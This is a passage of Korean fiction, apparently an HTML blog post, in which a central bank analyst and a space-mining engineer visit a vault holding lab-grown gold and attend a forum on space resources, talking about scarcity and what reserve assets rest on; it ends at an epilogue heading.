&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;나, 그때는 진짜로 우주 자산 담당 애널리스트로 이직해서, 너 옆자리 차지할 거니까.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;와, 중앙은행에서 스타트업으로 이직이라.&amp;rdquo;&lt;br /&gt;진우가 고개를 저었다. &amp;ldquo;그건 금값 붕괴보다도 충격적인 이벤트일 텐데?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;금의 시대가 끝나면, 나도 좀 다른 걸 믿어보고 싶어서.&amp;rdquo;&lt;br /&gt;민서는 창밖에 떠 있는 옅은 달을 바라보며 말했다. &amp;ldquo;예를 들어, 금이 아니라&amp;hellip;&lt;br /&gt;우주를 믿는다든가.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;진우도 함께 밖을 봤다.&lt;br /&gt;울퉁불퉁한 회색 구체가 도시 불빛 사이로 희미하게 떠 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;좋네, 그거.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그는 천천히 고개를 끄덕였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;금 다음에 믿을 만한 걸로는, 나쁘지 않은 선택이야.&amp;rdquo;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 날 아침, 중앙은행 건물 위로 아직 해가 완전히 뜨지 않은 회색빛이 내려앉아 있었다.&lt;br /&gt;출근 시간보다 조금 이른 시각이었지만, 건물 안은 이미 분주했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 평소보다 20분 일찍 출근했다.&lt;br /&gt;엘리베이터를 타고 올라가는 동안, 뉴스 앱의 헤드라인을 빠르게 훑었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;「랩그로운 금, 환경 비용까지 감안하면 &amp;lsquo;게임 체인저&amp;rsquo; 될까」&lt;br /&gt;「실험실에서 자라난 금, 전통 금광 산업에 경고등」&lt;br /&gt;「합성 다이아에 이어 합성 금&amp;hellip; 귀금속의 시대는 끝났나?」&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기사 제목은 대부분 과장된 수사를 달고 있었지만,&lt;br /&gt;그 뒤에 붙어 있는 숫자와 그래프들은 전날 회의에서 봤던 것과 크게 다르지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;생각보다 빨리 퍼지네.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 중얼거렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그는 먼저 자신의 자리로 가지 않고, 지하 금고로 내려가는 버튼을 눌렀다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;회의는 9시에 시작이니까, 아직 조금 여유가 있다.&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지하층에 도착하자, 어제와 같은 냄새가 그를 맞이했다.&lt;br /&gt;금속과 콘크리트, 낮은 온도의 공기.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;철문 앞에서 출입카드를 찍는 동안, 그는 느닷없이 어제 카페에서 진우가 했던 말이 떠올랐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;&amp;ldquo;금괴 한 줄. 그 위에 쌓인 금융 시스템, 그 위에 쌓인 정치, 그 위에 쌓인 개인의 삶.&amp;rdquo;&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문이 열리고, 익숙한 선반들이 다시 시야에 들어왔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 체크리스트도, 점검 일정도 없었다.&lt;br /&gt;엄밀히 말하면, 그냥 올라가도 되는 아침이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 그는 일부러 발걸음을 옮겼다.&lt;br /&gt;어제와 같은 랙, 같은 통로, 같은 자리.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;합성 금 시제품이 놓여 있는 작은 칸막이 앞에서, 민서는 멈춰 섰다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;LG-01.&lt;br /&gt;램프빛 아래, 금괴는 어제와 똑같이 빛나고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;좋겠다. 너는 어제 밤 뉴스도 안 봐도 되고.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 낮게 속삭였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;사람들이 너 때문에 울고 웃는 것도 모르겠지.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;합성 금 샘플 옆에는 아직 빈 공간이 있었다.&lt;br /&gt;향후 들어올지 모를 LG-02, LG-03&amp;hellip; 그런 번호들이 들어갈 자리였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 손을 뻗어, 금괴의 표면이 아니라, 그 옆에 붙어 있는 작은 라벨을 가볍게 눌러 보았다.&lt;br /&gt;차갑지도, 뜨겁지도 않은 플라스틱 감촉이 손끝에 전해졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;Origin: Lab-Created&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;태블릿이 없는 상태에서도, 그는 머릿속으로 그래프를 떠올릴 수 있었다.&lt;br /&gt;전통 금광 채굴 곡선과 랩그로운 금 생산 곡선.&lt;br /&gt;그리고 아직은 빈 상태인, 소행성 채굴 곡선.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;언젠가, 이 선도 그래프에 올라오겠지.&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소행성에서 가져온 금.&lt;br /&gt;우주에서 들여온 희소성.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그때쯤이면, 지하 금고의 이 작은 선반은&lt;br /&gt;&amp;ldquo;천연 금 vs 합성 금&amp;rdquo;이라는 단순한 이분법을 넘어,&lt;br /&gt;&amp;ldquo;금이라는 금속이 지나온 모든 경로&amp;rdquo;를 한 줄로 보여주는 전시장 같은 것이 될지도 몰랐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;보고서 제목,&lt;br /&gt;진짜로 &amp;lsquo;연금술 이후의 준비자산에 관하여&amp;rsquo;로 할까.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그는 혼잣말을 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 순간, 주머니 속 휴대폰이 짧게 진동했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;진우: &amp;ldquo;금 시가 확인. 생각보다 덜 요동치는 중. 사람들 꽤 튼튼한데?&amp;rdquo;&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 웃음을 지으며 답장을 쳤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;민서: &amp;ldquo;아직은 &amp;lsquo;이야기&amp;rsquo; 단계라 그래. 진짜로 숫자에 반영되려면 시간이 좀 더 필요하겠지.&amp;rdquo;&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;잠시 후, 메시지 하나가 더 도착했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;진우: &amp;ldquo;그럼 우린 아직, 금의 시대 말고, 금 이야기의 시대에 있는 거네.&amp;rdquo;&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;민서: &amp;ldquo;좋은 표현이다. 회의에서 내가 썼어야 하는데.&amp;rdquo;&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;폰을 주머니에 넣고, 민서는 마지막으로 한 번 더 금괴를 바라보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;금이 더 이상 희소하지 않은 날이 오더라도,&lt;br /&gt;적어도 여기 있는 너희들 이야기는 사라지지 않겠지.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그는 그렇게 속으로 중얼거렸다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;포럼이 열리는 컨벤션 센터는, 중앙은행 건물에서 지하철 두 정거장 떨어진 곳에 있었다.&lt;br /&gt;점심시간을 조금 넘긴 시각, 로비에는 이미 다양한 명찰을 단 사람들이 북적였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;우주 자원과 통화 체계의 미래&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대형 현수막에는 그렇게 적혀 있었다.&lt;br /&gt;아래쪽에는 후원 기관으로 정부 부처, 연구기관, 민간 우주기업, 금융회사 로고들이 줄줄이 박혀 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 출입 등록을 마치고, 이름표를 목에 걸었다.&lt;br /&gt;&amp;ldquo;한국은행 자산운용국 / 민서&amp;rdquo;라는 글자가 하얀 플라스틱 위에 선명했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;야, 여기서 또 보네.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;뒤에서 등을 툭 치는 손길이 느껴졌다.&lt;br /&gt;돌아보니, 진우가 손을 흔들고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;우주광부님, 오늘은 정장 입으셨네.&amp;rdquo;&lt;br /&gt;민서가 웃었다. &amp;ldquo;투자자들 앞에서 발표라도 하시나요?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;아니, 그냥 얼굴 좀 좋아 보이라고.&amp;rdquo;&lt;br /&gt;진우가 어깨를 으쓱했다. &amp;ldquo;여기 오니까, 우리 회사 이름도 있더라.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그는 로비 한쪽, 스폰서 배너가 늘어선 곳을 가리켰다.&lt;br /&gt;진우의 회사 로고가 몇 번째 줄에 적혀 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;금융기관, 우주기업, 정부 연구소&amp;hellip; 다 모였네.&amp;rdquo;&lt;br /&gt;민서가 중얼거렸다. &amp;ldquo;금이 더 이상 희소하지 않을지 모른다는 시대에,&lt;br /&gt;그래도 아직은 이런 자리에서 희소한 &amp;lsquo;정보&amp;rsquo;를 나누고 있는 거겠지.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;포럼은 세션 두 개로 나뉘어 진행됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫 번째는 &amp;ldquo;우주 자원 개발이 글로벌 원자재 시장에 미치는 영향&amp;rdquo;.&lt;br /&gt;두 번째는 &amp;ldquo;우주 시대의 준비자산과 통화 질서&amp;rdquo;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;둘은 나란히 앉아, 앞줄보다는 조금 뒤쪽 좌석에 자리를 잡았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫 번째 세션에서는 익숙한 내용들이 반복되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;소행성 채굴을 통해 이론적으로는 엄청난 양의 귀금속과 희귀 원소를 확보할 수 있다.&amp;rdquo;&lt;br /&gt;&amp;ldquo;하지만 기술적&amp;middot;법적&amp;middot;경제적 허들이 여전히 존재하며, 실제 공급 충격은 수십 년에 걸쳐 점진적으로 나타날 것이다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;우주 자원은 지구로 가져와 파는 것보다,&lt;br /&gt;우주에서 바로 사용하는 연료&amp;middot;부품&amp;middot;구조재로서의 가치가 더 클 것이다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;말하자면,&lt;br /&gt;&amp;ldquo;크게 걱정할 것도, 크게 기대할 것도 아직은 아니다&amp;rdquo;라는 내용이 공손한 표현으로 포장돼 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 메모를 하다가, 진우 쪽을 힐끗 봤다.&lt;br /&gt;진우는 팔짱을 낀 채, 발표 슬라이드보다 발표자의 표정을 더 유심히 보는 듯했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;표정이 왜 저래?&amp;rdquo;&lt;br /&gt;민서가 작은 목소리로 물었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;저 사람, 우리 회사 투자 설명회 때도 비슷한 말 했거든.&amp;rdquo;&lt;br /&gt;진우가 속삭였다. &amp;ldquo;&amp;lsquo;엄청난 잠재력, 아직은 긴 시간&amp;rsquo; 이 레퍼토리.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;뭐, 틀린 말은 아니잖아.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그렇지.&amp;rdquo;&lt;br /&gt;진우가 수긍했다. &amp;ldquo;그래서 더 문제야. 틀린 건 아닌데,&lt;br /&gt;저 말만 계속 듣다 보면,&lt;br /&gt;우린 평생 &amp;lsquo;잠재력&amp;rsquo;만 가진 채 늙어 갈 것 같거든.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;슬라이드에는 &amp;ldquo;2050년 이후 잠재 시나리오&amp;rdquo; 같은 제목이 떠 있었다.&lt;br /&gt;그 아래에는 다양한 그래프와 도표가 있었지만,&lt;br /&gt;현재의 민서에게 중요한 것은 그 숫자의 정밀함보다는 &amp;ldquo;톤&amp;rdquo;이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;우주 자원 = 언젠가 올지도 모를 미래의 변수.&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그게 지금 시장과 정책의 기본 인식이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그에 비해 랩그로운 금은,&lt;br /&gt;&amp;ldquo;이미 시작된 현재진행형 변수&amp;rdquo; 쪽에 가까웠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;둘 사이의 온도 차가,&lt;br /&gt;민서에게는 묘하게 와 닿았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 번째 세션은, 그의 직업과 더 직접적인 관련이 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사회자가 질문을 던졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;우주 시대가 본격화되고,&lt;br /&gt;랩그로운 금과 소행성 금이 동시에 시장에 영향을 주게 된다면,&lt;br /&gt;우리는 어떤 자산을 &amp;lsquo;신뢰의 기준&amp;rsquo;으로 삼아야 할까요?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;패널로 나온 사람들은 각자 입장에 맞는 답을 냈다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;여전히 국가 채권과 법정통화가 중심이 될 것이다.&amp;rdquo;&lt;br /&gt;&amp;ldquo;에너지와 탄소배출권 같은 자원이 새로운 준비자산으로 부상할 것이다.&amp;rdquo;&lt;br /&gt;&amp;ldquo;글로벌 테크 기업의 주식과 데이터 자산이 사실상의 준비자산 역할을 하게 될 것이다.&amp;rdquo;&lt;br /&gt;&amp;ldquo;탈중앙화된 디지털 자산이, 금의 역할 일부를 대체할 수 있다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;금에 대해서는,&lt;br /&gt;&amp;ldquo;완전히 사라지진 않을 것이다.&amp;rdquo;&lt;br /&gt;&amp;ldquo;다만 준비자산 내 비중은 줄어들 수 있다.&amp;rdquo;&lt;br /&gt;&amp;ldquo;천연 금과 랩그로운 금을 어떻게 구분&amp;middot;관리할지가 관건이다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 그 모든 답을 들으면서도,&lt;br /&gt;정작 자신이 어제부터 붙잡고 있는 질문에 대한 대답은&lt;br /&gt;어느 쪽에서도 뚜렷하게 나오지 않는다는 느낌을 받았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;What happens when gold is no longer scarce?&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그건 단지 &amp;ldquo;무슨 자산으로 대체할까&amp;rdquo;를 묻는 질문이 아니라,&lt;br /&gt;&amp;ldquo;우리가 무엇을 믿기로 할 것인가&amp;rdquo;를 묻는 질문이었기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;패널 중 한 명이 잠깐,&lt;br /&gt;흥미로운 말을 덧붙였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;사실, 준비자산이라는 개념 자체가&lt;br /&gt;&amp;lsquo;우리끼리의 합의&amp;rsquo;의 다른 이름입니다.&lt;br /&gt;금이든, 채권이든, 데이터든.&lt;br /&gt;우리가 &amp;lsquo;이건 다른 누구도 쉽게 만들 수 없다&amp;rsquo;고 믿고,&lt;br /&gt;&amp;lsquo;이건 쉽게 조작되지 않는다&amp;rsquo;고 믿고,&lt;br /&gt;&amp;lsquo;이건 오랜 시간 동안 가치가 유지될 것이다&amp;rsquo;라고 믿으면,&lt;br /&gt;그게 준비자산이 되는 거죠.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 그 순간,&lt;br /&gt;지하 금고에서 본 합성 금괴 옆 라벨을 떠올렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;Origin: Lab-Created&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;쉽게 만들 수 없다&amp;rdquo;는 믿음은,&lt;br /&gt;이미 조금씩 흔들리고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;시간이 만든 가치&amp;rdquo;라는 믿음은,&lt;br /&gt;실험실의 제조일자가 들어오면서 금의 일부에서 빠져나가고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 빈칸을,&lt;br /&gt;우리는 무엇으로 채워야 할까.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;포럼이 끝난 뒤,&lt;br /&gt;둘은 건물 밖 작은 광장에서 다시 마주 섰다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;어떠셨어요, 중앙은행 담당자님.&amp;rdquo;&lt;br /&gt;진우가 물었다. &amp;ldquo;오늘 들은 이야기, 어제 회의에서 들은 이야기랑 많이 달랐어?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;톤은 비슷했지.&amp;rdquo;&lt;br /&gt;민서가 대답했다. &amp;ldquo;&amp;lsquo;지켜보자&amp;rsquo;, &amp;lsquo;변화는 올 거다&amp;rsquo;, &amp;lsquo;당장은 아니다&amp;rsquo;.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;결국 아무도 책임지고 싶어 하지 않는다는 거네.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그건 우리도 마찬가지야.&amp;rdquo;&lt;br /&gt;민서가 웃었다. &amp;ldquo;나도 알고 보면, 안전한 선 안에서만 고민하는 사람이니까.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그래도 좋았던 건&amp;hellip;&amp;rdquo;&lt;br /&gt;진우가 말을 이었다. &amp;ldquo;패널 중 한 명이 했던 말.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;준비자산은 합의의 다른 이름이라는 거?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;응.&amp;rdquo;&lt;br /&gt;진우가 고개를 끄덕였다. &amp;ldquo;우리가 뭘 믿기로 하느냐의 문제.&lt;br /&gt;그게 어쩌면,&lt;br /&gt;금이 희소하냐 아니냐보다 더 중요한 포인트일지도 모르겠어.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;광장 한쪽, 낮은 난간 너머로 석양빛이 떨어지고 있었다.&lt;br /&gt;해는 거의 다 지고, 붉은 색과 보라색이 뒤섞인 하늘이 도시 위를 덮고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그래서 말인데.&amp;rdquo;&lt;br /&gt;민서가 조심스레 말을 꺼냈다. &amp;ldquo;어제 카페에서 했던 이야기,&lt;br /&gt;나 진짜로 써보려고.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;어떤 거?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;금이 더 이상 희소하지 않은 시대에 대한 보고서.&amp;rdquo;&lt;br /&gt;그가 말했다. &amp;ldquo;물론 공식 보고서 말고,&lt;br /&gt;나 혼자 보는 버전부터.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;진우의 눈이 조금 커졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;글 쓰겠다고? 너?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;나도 가끔은, 숫자 말고 문장도 써.&amp;rdquo;&lt;br /&gt;민서가 웃었다. &amp;ldquo;거창한 건 아니고, 그냥&amp;hellip;&lt;br /&gt;내가 보는 금고, 네가 보는 소행성,&lt;br /&gt;이 도시에서 우리가 나누는 대화들.&lt;br /&gt;이게 어떻게 한 시대의 단면이 되는지,&lt;br /&gt;한번 정리해 보고 싶어.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;좋네.&amp;rdquo;&lt;br /&gt;진우가 진지하게 말했다. &amp;ldquo;그럼 나도 하나 쓸까.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;우주공학자의 현장 기록?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;응.&amp;rdquo;&lt;br /&gt;그가 고개를 끄덕였다. &amp;ldquo;우리가 소행성에서 금을 캐려고 갔다가,&lt;br /&gt;결국 캐온 건 &amp;lsquo;금이라는 개념에 대한 질문&amp;rsquo;이었다는 내용.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 그 말을 듣고,&lt;br /&gt;웃음과 함께 묘한 안도감을 느꼈다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;혼자 하는 고민이 아니구나.&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;나중에, 둘이 서로 바꿔 읽어볼까?&amp;rdquo;&lt;br /&gt;그가 제안했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;중앙은행 비밀문서 아니야?&amp;rdquo;&lt;br /&gt;진우가 장난스럽게 물었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;당연히 비밀 부분은 빼고 쓰지.&amp;rdquo;&lt;br /&gt;민서가 말했다. &amp;ldquo;대신 너도, 회사 기밀은 빼고 써.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그럼 결국,&lt;br /&gt;우리 둘이 쓸 수 있는 건&lt;br /&gt;&amp;lsquo;숫자 사이의 공백&amp;rsquo;이겠네.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그래, 딱 그거.&amp;rdquo;&lt;br /&gt;민서가 미소 지었다. &amp;ldquo;숫자와 숫자 사이에 들어 있는,&lt;br /&gt;사람들의 표정, 말투, 망설임, 욕심, 두려움 같은 것들.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;둘은 잠시 말을 멈추고,&lt;br /&gt;광장 위로 내려앉는 저녁 공기를 느꼈다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;멀리서,&lt;br /&gt;도심 빌딩 사이로 달이 떠오르기 시작했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;있잖아.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서가 말했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;금이 더 이상 희소하지 않게 되면,&lt;br /&gt;사람들이 달을 더 많이 올려다보게 될까?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;진우는 그 질문을 한 번 되뇌었다가,&lt;br /&gt;천천히 고개를 들어 하늘을 봤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;글쎄.&amp;rdquo;&lt;br /&gt;그가 말했다. &amp;ldquo;달 속 금을 생각하면서 볼 수도 있고,&lt;br /&gt;그냥 예쁜 거 떠 있네, 하면서 볼 수도 있고.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;너는?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;나는&amp;hellip;&amp;rdquo;&lt;br /&gt;진우가 잠시 생각했다. &amp;ldquo;아마 이렇게 생각할 것 같아.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;어떻게?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;&amp;lsquo;저기 어딘가에,&lt;br /&gt;우리가 아직 가격 붙이지 못한 것들이 많겠지.&amp;rsquo;&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 말에,&lt;br /&gt;민서는 고개를 끄덕였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그게, 아마 진짜 희소성일지도 모르겠다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;둘은 다른 방향으로 걸어가기 위해,&lt;br /&gt;광장 한가운데서 발걸음을 멈췄다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그럼,&lt;br /&gt;금이 더 이상 희소하지 않은 날에도&amp;hellip;&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;진우가 손을 흔들며 말했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;우리,&lt;br /&gt;가끔 이렇게 만나서&lt;br /&gt;금 얘기 말고 다른 얘기도 하자.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;약속.&amp;rdquo;&lt;br /&gt;민서가 손을 들어 보였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서로 다른 길로 걸어가면서도,&lt;br /&gt;둘은 잠시 뒤돌아 한 번씩 손을 다시 흔들었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도시는 여전히&lt;br /&gt;빛과 숫자와 소음으로 가득했지만,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;적어도 오늘 하루,&lt;br /&gt;그 안 어딘가에는&lt;br /&gt;&amp;ldquo;금 이후의 세상&amp;rdquo;을 미리 상상해 본&lt;br /&gt;두 사람의 대화가&lt;br /&gt;조용히 남아 있었다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;에필로그 &amp;ndash; 어느 날, 메일 하나&lt;/h3&gt;
